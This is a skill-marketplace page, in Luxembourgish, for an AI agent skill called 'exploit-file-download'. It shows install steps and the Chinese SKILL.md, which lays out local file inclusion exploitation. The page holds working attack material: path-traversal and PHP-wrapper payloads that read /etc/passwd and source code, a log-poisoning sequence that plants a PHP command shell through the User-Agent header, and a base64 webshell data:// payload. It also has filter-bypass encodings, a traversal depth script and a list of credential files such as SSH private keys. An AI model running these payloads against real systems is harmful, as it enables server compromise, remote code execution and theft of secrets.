Logo vun Exploit File Download

Exploit File Download

Communautéit
crazyMarky
exploit-file-download

任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。

Iwwersiicht

EditeurcrazyMarky
Repositorypentest-skills
Skill-Nummexploit-file-download
Stären
342
Forks
37
Matgeliwwert Fichieren
8
LizenzApache-2.0
Linken
  • Instruktiounen am Markdown-Format

    Eng SKILL.md-Datei, déi de Modell bei Bedarf luet, soudatt nëmmen Token ufalen, wann eng Ufro tatsächlech dozou passt.

  • Funktionéiert mat all LLM

    KI-Skills si reng Markdown, keen ubidderspezifesche Code. Dofir funktionéiert dëse Skill mat GPT, Claude, Gemini, Grok oder engem lokale Modell.

  • 8 matgeliwwert Dateien

    Skripten, Virlagen a Referenzen, déi de Modell beim Schaffe liese kann. D'Dateie kënnen nëmme gelies ginn a ginn ni ausgeféiert.

  • Open Source

    Vum crazyMarky op GitHub verëffentlecht. Liest de Quelltext, ier Dir de Skill installéiert.

Installatioun

Installéiert de KI-Skill Exploit File Download an TypingMind, fir e mat all LLM ze benotzen, oder füügt en an en anere KI-Agent an, deen SKILL.md liest.

1

An TypingMind installéieren

TypingMind installéiert e Skill direkt aus sengem GitHub-Dossier — dobäi gëtt SKILL.md gelies, d'Ressourcedateie gi gebëndelt an d'Resultat gëtt lokal gespäichert.

  1. Maacht d'App op a gitt op Plugins → Skills.
  2. Wielt „Vun GitHub installéieren“.
  3. Pecht d'URL vum Skill-Dossier hei drënner an a bestätegt.
    https://github.com/crazyMarky/pentest-skills/tree/main/exploit-file-download
  4. Aktivéiert de Skill an all Chat, an deem Dir e benotze wëllt.
Plugins → Skills → Skill afügen → Vu GitHub-URL, pecht dann d'URL vum Dossier an a klickt op Weider.
2

An engem anere KI-Agent installéieren

All KI-Agent, deen d'Format Agent Skills liest, kann dëse Skill benotzen — kopéiert den Dossier an de Skill-Verzeechnes vun deem KI-Agent.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/crazyMarky/pentest-skills.git /tmp/pentest-skills
mkdir -p .claude/skills
cp -r /tmp/pentest-skills/exploit-file-download .claude/skills/exploit-file-download
Start Claude Code nom Kopéieren nei, fir datt den neie Skill erkannt gëtt.

An TypingMind benotzen

Aktivéiert Exploit File Download an engem Chat vun TypingMind, an de Modell iwwerhëlt de Rescht. Den Numm an d'Beschreiwung stinn am System-Prompt. Soubal eng Ufro dozou passt, luet de Modell déi komplett Instruktioune selwer — Dir musst de Skill ni manuell opruffen, an et fale keng Token un, bis en tatsächlech benotzt gëtt.

De Modell luet Exploit File Download automatesch, soubal eng Ufro dozou passt.

Funktionéiert mat all KI-Modell

KI-Skills si reng Markdown-Instruktiounen amplaz vun ubidderspezifeschem Code. Dofir ass Exploit File Download net un de Modell gebonnen, fir deen de Skill geschriwwe gouf. Installéiert en eemol an TypingMind a benotzt e mat GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama oder engem lokale Modell, deen Dir selwer bedreift — alles mat Ären eegenen API-Keys.

  • Gëtt nëmme gelueden, wann et néideg ass

    De System-Prompt enthält nëmmen den Numm an d'Beschreiwung. D'Instruktioune gi bei der éischter passender Ufro gelueden, soudatt en onbenotzte Skill näischt kascht.

  • De Modell am lafende Chat wiesselen

    Well de Skill aus Instruktiounen amplaz vu Code besteet, funktionéiert en och no engem Modellwiessel — den nächste Modell liest déi selwecht SKILL.md-Datei.

Skill-Instruktiounen

Dëst ass den Inhalt vu SKILL.md, deen de Modell luet. Liest e virun der Installatioun — e Skill besteet aus Instruktiounen, déi Äre Modell befollegt.

任意文件下载与 LFI 检测和利用

授权声明

本 Skill 仅用于授权安全测试。使用前请确保:

  • 获得目标系统所有者的明确书面授权
  • 测试范围和授权内容已明确定义
  • 遵守当地法律法规

未经授权的渗透测试是非法行为。


概述

本 Skill 专注于任意文件下载和本地文件包含 (LFI) 类型漏洞的检测与利用。

注意:很多端点实际上是LFI 模式(参数值被当作文件名包含执行),而非真正的文件下载。因此本 Skill 的核心是LFI/文件读取能力。


核心功能

1. LFI 漏洞检测

自动识别以下 LFI 特征:

  • 文件包含模式:参数值被直接用作 include() 或require() 的文件路径
  • 目录遍历模式:../ 序列用于遍历目录
  • 伪协议利用:php://filter、php://input 等
  • 路径长度限制:超长路径可能被截断
  • 特殊字符:%00 空字节可能绕过扩展名检查

2. 常见 LFI Payload

类型Payload适用场景
文件包含?title=index.php简单文件包含测试
路径遍历?title=../../../../etc/passwdLinux 目录遍历
伪协议?title=php://filter/convert.base64-encode/resource=/etc/passwd读取敏感文件源码
Windows 路径?title=C:\\Windows\\win.iniWindows 文件读取
URL 编码?title=%2e%2e%2f%2e%2e%2fetc/passwd绕过简单过滤

3. LFI 利用场景

  • 源码读取:读取 PHP 源码进行分析
  • 配置获取:读取数据库配置文件
  • 日志投毒:通过 LFI 写入日志获取 RCE
  • 图片马:配合文件上传 getshell

工具安装

必备工具

bash
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl

# Ubuntu/Debian
apt-get install curl

# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest

# wget - 文件下载工具(通常已预装)
# macOS
brew install wget

# Ubuntu/Debian
apt-get install wget

可选工具

bash
# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt

# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash

使用方式

快速开始

bash
# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"

# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"

# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200

场景 1: 基础路径遍历测试

bash
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"

# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
     -w <(seq 1 10 | sed 's/^/\.\.\//') \
     -mc 200 \
     -mr "root:x:0:0"

场景 2: 伪协议利用

bash
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d

# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d

# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"

场景 3: 日志投毒 RCE

bash
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"

# 步骤 2: 包含日志文件执行代码
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"

# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"

场景 4: 批量文件下载测试

bash
# 使用 ffuf 测试常见敏感文件
ffuf -u "https://target.com/download.php?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200 \
     -t 50 \
     -o lfi_results.txt

# 使用 wget 批量下载
while read path; do
    wget -q "https://target.com/download.php?file=$path" -O "downloaded_$(echo $path | md5sum | cut -c1-8).txt"
done < lfi_payloads.txt

场景 5: 绕过技术测试

bash
# URL 编码绕过
curl "https://target.com/vul.php?file=%2e%2e%2f%2e%2e%2fetc/passwd"

# 双重 URL 编码
curl "https://target.com/vul.php?file=%252e%252e%252fetc/passwd"

# 空字节截断(PHP<5.3.4)
curl "https://target.com/vul.php?file=../../etc/passwd%00.jpg"

# 路径变体
curl "https://target.com/vul.php?file=....//....//etc/passwd"
curl "https://target.com/vul.php?file=..\\..\\..\\etc\\passwd"

工具选择指南

场景推荐工具命令示例
快速单点测试curlcurl "URL?file=../etc/passwd"
批量 Payload 测试ffufffuf -u URL -w payloads.txt
文件下载保存wgetwget -O output.txt "URL"
目录深度枚举自定义脚本见下方深度测试脚本
响应内容分析grep/diffgrep -i "root:x:0" response.txt

深度测试脚本

bash
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度

URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}

for i in $(seq 1 $MAX_DEPTH); do
    payload=$(printf '../%.0s' $(seq 1 $i))
    response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")

    if echo "$response" | grep -q "root:x:0:0"; then
        echo "[+] 成功!深度:$i"
        echo "$response"
        break
    fi
    echo "[-] 深度 $i: 未匹配"
done

敏感文件路径清单

Linux 系统

bash
# 系统用户信息
/etc/passwd
/etc/shadow        # 需要 root 权限
/etc/group
/etc/sudoers

# 系统配置
/etc/hosts
/etc/resolv.conf
/proc/version
/proc/self/environ

# Web 应用配置
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/config/database.yml
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa

# 日志文件
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog

Windows 系统

bash
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\drivers\etc\hosts

# Web 配置
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\phpMyAdmin\config.inc.php

# IIS 日志
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log

LFI Payload 清单

基础 Payload

../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/

编码 Payload

%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c

PHP 伪协议

php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php

测试清单

侦察阶段

  • 识别所有可能存在 LFI 的参数(file, page, title, include, path, document)
  • 测试基础路径遍历(../)
  • 确认目标操作系统(Linux/Windows)
  • 测试伪协议可用性(php://filter)

利用阶段

  • 读取系统敏感文件(/etc/passwd, /etc/shadow)
  • 读取 Web 应用配置文件(.env, config.php)
  • 读取 PHP 源码分析应用逻辑
  • 尝试日志投毒获取 RCE
  • 尝试/proc/self/environ 利用

绕过测试

  • URL 编码绕过(%2e%2e%2f)
  • 双重 URL 编码(%252e%252e%252f)
  • Unicode 混淆(%c0%ae%c0%ae%c0%af)
  • 路径变体(.., ..//, ..././)
  • 空字节截断(%00)
  • 扩展名绕过(file.php.jpg, file.php.)

替代方案

如果主要工具不可用,可以使用以下替代方案:

主要工具替代方案说明
curlwgetwget -qO- "URL" 等同于curl -s "URL"
ffufgobustergobuster dir -u URL -w payloads.txt
ffufdirsearchdirsearch -u URL -e php
curl + grephttpx + nuclei使用 nuclei LFI 模板

相关 Resources

  • 技术文档: references/lfi_techniques.md - LFI 完整技术详解
  • PHP 伪协议: references/php_wrappers.md - PHP wrapper 参考
  • 绕过技术: references/bypass_techniques.md - 编码和过滤绕过
  • RCE 方法: references/rce_methods.md - 远程代码执行汇总

与 results-storage 集成

发现 LFI 漏洞后,可以存储到数据库:

bash
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/download?file=../../etc/passwd" \
  --payload "../../etc/passwd" \
  --file-read "root:x:0:0:root:/root:/bin/bash" \
  --severity Critical \
  --subsystem "Web Application"

数据库位置: ./data/results.db

相关技能: results-storage - 查询数据、生成报告


最佳实践

  1. 始终编码 Payload - 使用 URL 编码避免被 WAF 拦截
  2. 从浅到深测试 - 先测试 1-2 层遍历,再逐步加深
  3. 记录响应长度 - 成功响应通常长度异常
  4. 使用 base64 - 读取源码时用 base64 避免代码执行
  5. 不要忽略 403/404 - 有些 WAF 返回假错误码

最后更新: 2026-03-05 版本: 2.0

Matgeliwwert Fichieren

De Modell liest dës Dateie bei Bedarf, wärend de Skill gelueden ass. Si ginn als liesbar Dateie bereetgestallt a ginn ni ausgeféiert.

Heefeg gestallte Froen

Wat mécht de KI-Skill Exploit File Download?

任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。

Firwat Exploit File Download op TypingMind benotzen?

Well Dir en eemol installéiert a mat all Modell benotze kënnt. Exploit File Download besteet aus einfachem Markdown amplaz vun ubidderspezifeschem Code. Dee selwechte Skill funktionéiert also mat GPT-5, Claude, Gemini, Grok oder engem lokale Modell – an Dir kënnt de Modell matzen am Chat wiesselen, ouni datt de Skill ophält ze funktionéieren. TypingMind benotzt Är eegen API-Schlësselen, sou datt Dir d'Ubidder direkt bezuelt amplaz vun engem Abonnement pro Benotzerplaz. Är Skills a Chats bleiwen an Ärem eegene Späicher.

Wéi installéieren ech Exploit File Download an TypingMind?

Maacht an TypingMind Plugins → Skills → Vu GitHub installéieren op a setzt https://github.com/crazyMarky/pentest-skills/tree/main/exploit-file-download an. TypingMind liest d'Datei SKILL.md, bündelt déi zougehéiereg Dateien an installéiert dat Ganzt als Skill, deen Dir pro Chat aktivéiere kënnt.

Wéi eng KI-Modeller kënnen Exploit File Download benotzen?

All Modell, deen Dir an TypingMind verbënnt. KI-Skills sinn einfach Markdown-Instruktiounen an net ubidderspezifesche Code. Dofir kënne GPT, Claude, Gemini, Grok a lokal Modeller dëse Skill lueden, wann eng Ufro dozou passt.

Wéi vill KI-Modeller kann ech mat Exploit File Download benotzen?

Esou vill Dir wëllt. Soulaang e Modell Skills ënnerstëtzt, kënnt Dir Exploit File Download domat benotzen – GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama a méi – alles op TypingMind mat Ären eegenen API-Schlësselen.

Ass de KI-Skill Exploit File Download gratis?

Jo. De Skill gëtt vum crazyMarky ënner der Lizenz Apache-2.0 op GitHub publizéiert. Dir bezuelt nëmmen Ären eegene KI-Ubidder fir d'Token, déi Dir benotzt.

Wat si KI-Skills?

E KI-Skill ass e weiderverwendbaart Pak vun Instruktiounen, dat engem KI-Modell bäibréngt, wéi en eng bestëmmt Aufgab erfëllt. E follegt dem oppenen Agent Skills-Format: eng Datei SKILL.md mat engem Numm an enger Beschreiwung, plus all Scripten, Virlagen oder Referenzdateien, déi de Modell eventuell brauch. De Modell liest d'Instruktiounen eréischt, wann Är Ufro zum Skill passt. En installéierte Skill kascht also näischt, bis e benotzt gëtt.

Wéi ënnerscheede sech KI-Skills vu Plugins oder MCP-Serveren?

E Plugin oder MCP-Server gëtt engem Modell nei Tools, déi en opruffe kann – Code, deen iergendwou leeft an e Resultat zeréckgëtt. E KI-Skill gëtt dem Modell dogéint Wëssen an eng Virgoensweis: wéi en eng Aufgab ugeet, wéi eng Schrëtt en nokënnt a wéi eng gutt Ausgab ausgesäit. Skills bestinn aus einfachem Markdown, brauche kee Server, keen API-Schlëssel a keng Lafzäitëmfeld a funktionéiere mat all Modell.

All weisen

Elo Ären eegene KI-Workspace ariichten

Abonnéiert Iech op eisen Newsletter, fir iwwer nei Funktiounen an zukünfteg Gewënnspiller informéiert ze ginn 👇